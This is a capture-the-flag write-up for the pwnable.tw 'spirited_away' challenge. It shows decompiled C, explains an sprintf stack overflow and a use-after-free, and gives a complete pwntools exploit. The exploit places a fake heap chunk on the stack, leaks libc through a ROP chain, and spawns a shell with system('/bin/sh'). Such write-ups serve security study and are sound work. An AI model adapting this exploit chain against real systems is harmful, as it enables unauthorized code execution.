Overview

spirited_away is a ELF 32-bit LSB executable binary. We quickly figured out the function survey.

int survey()
{
char s[56]; // [sp+10h] [bp-E8h]@2
size_t len_60; // [sp+48h] [bp-B0h]@1
size_t len_80; // [sp+4Ch] [bp-ACh]@1
char comment[80]; // [sp+50h] [bp-A8h]@2
int age; // [sp+A0h] [bp-58h]@2
void *name; // [sp+A4h] [bp-54h]@2
char reason[80]; // [sp+A8h] [bp-50h]@2
len_60 = 60; // overflow
len_80 = 80;
LABEL_2:
memset(comment, 0, 80u);
name = malloc(60u);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, name, len_60);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &age);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, reason, len_80);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, comment, len_60);
++cnt;
printf("Name: %s\n", name);
printf("Age: %d\n", age);
printf("Reason: %s\n", reason);
printf("Comment: %s\n\n", comment);
fflush(stdout);
sprintf(s, "%d comment so far. We will review them as soon as we can", cnt);
puts(s);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 'Y' || choice == 'y' )
{
free(name);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

Vulnerability

We found the variable in function survey named cnt which is a global variable. This variable use for counting guests.Then we find the string concatenation in function survey on address 0x080487CC. The code concatenates %d comment so far. We will review them as soon as we can and global variable cnt and stored in stack with 56 Bytes.Things become interesting, comment so far. We will review them as soon as we can already 54 Bytes. It means that if we have 10 guests buffer overflow will occur.We also find that if we have 100 guests, the last latter n will overwrite the local variable len_60 using for limiting input length. The value of the variable will be overwritten to 110 (ASCII n).It means we can input 110 Bytes in name and comment.That will cause another buffer overflow.

We also find UAF vulnerability in this function.

Exploit

According to the analysis above, we know that buffer overflow vulnerabilities in function survey. But how can we use these vulnerabilities for exploiting?

The scenario looks simple.

  • dup chunk into stack
  • ROP for info leak
  • ROP for get shell

Firstly, We create fake heap chunk in stack and overwrite the heap chunk pointer.

Secondly, we add another guest. Fake chunk will be freed

Finally, function realloc the heap chunk by using malloc() and get a fake heap chunk we can entirely control.

We can input info leak ROP chain into fake heap chunk by overwriting the return address. Then we can get system and /bin/sh address in libc. We can do it again for getting shell.

Final Exploit

from pwn import *
context.log_level = "DEBUG"
r = process("./spirited_away")
r = remote("chall.pwnable.tw", 10204)
elf = ELF("./spirited_away")
libc = ELF("./libc_32.so.6")
def leave_comment(name, age, reason, comment):
r.recvuntil("Please enter your name: ")
r.send(name)
r.recvuntil("Please enter your age: ")
r.sendline(age)
r.recvuntil("Why did you came to see this movie? ")
r.send(reason)
r.recvuntil("Please enter your comment: ")
r.send(comment)
def _leave_comment(age, reason):
r.recvuntil("Please enter your age: ")
r.sendline(age)
r.recvuntil("Why did you came to see this movie? ")
r.send(reason)
leave_comment("1", "1", "1", "1")
for x in range(0, 9):
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
leave_comment("aaa", "11", "ccc", "ddd")
for x in range(9, 98):
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
_leave_comment("11", "cc")
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
_leave_comment("11", "c"*0x38)
r.recvuntil("Reason: ")
r.recv(0x38)
ret = r.recv(4)
comment_ptr = u32(ret) - 0xc8
log.success("[COMMENT POINTER] => {}".format(hex(comment_ptr)))
fake_chunk_addr = comment_ptr + 80 + 8 + 8
log.success("[FAKE CHUNK POINTER] => {}".format(hex(fake_chunk_addr)))
# stage 2 dup fake chunk into stack
fake_comment = "A" * 80
fake_comment += p32(0x80) # fake age
fake_comment += p32(fake_chunk_addr) # fake name ptr
fake_reason = p32(0)
fake_reason += p32(0x41)
fake_reason += 0x38 * "\x00"
fake_reason += p32(0) # for next chunk PREV_SIZE check
fake_reason += p32(0x41)
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
leave_comment("a", "11", fake_reason, fake_comment)
# stage 3 overwrite return address for memory leak
payload = "A" * 0x4c
payload += p32(elf.plt["puts"])
payload += p32(elf.symbols["survey"])
payload += p32(elf.got["free"])
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
leave_comment(payload, "11", "aa", "aa")
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("n")
r.recvuntil("Bye!\n")
ret = r.recv(4)
free_addr = u32(ret)
system_addr = free_addr + (libc.symbols["system"] - libc.symbols["free"])
sh_addr = free_addr + (next(libc.search("/bin/sh")) - libc.symbols["free"])
log.success("[FREE] => {}".format(hex(free_addr)))
log.success("[SYSTEM] => {}".format(hex(system_addr)))
log.success("[BINSH] => {}".format(hex(sh_addr)))
# 3th rop
leave_comment("11", "11", "11", "11")
fake_chunk_addr += 8
fake_comment = "A" * 80
fake_comment += p32(0x80) # fake age
fake_comment += p32(fake_chunk_addr) # fake name ptr
fake_reason = p32(0)
fake_reason += p32(0x41)
fake_reason += 0x38 * "\x00"
fake_reason += p32(0) # for next chunk PREV_SIZE check
fake_reason += p32(0x41)
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
leave_comment("a", "11", fake_reason, fake_comment)
payload = "A" * 0x4c
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(sh_addr)
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("y")
leave_comment(payload, "11", "aa", "aa")
r.recvuntil("Would you like to leave another comment? <y/n>: ")
r.send("n")
r.interactive()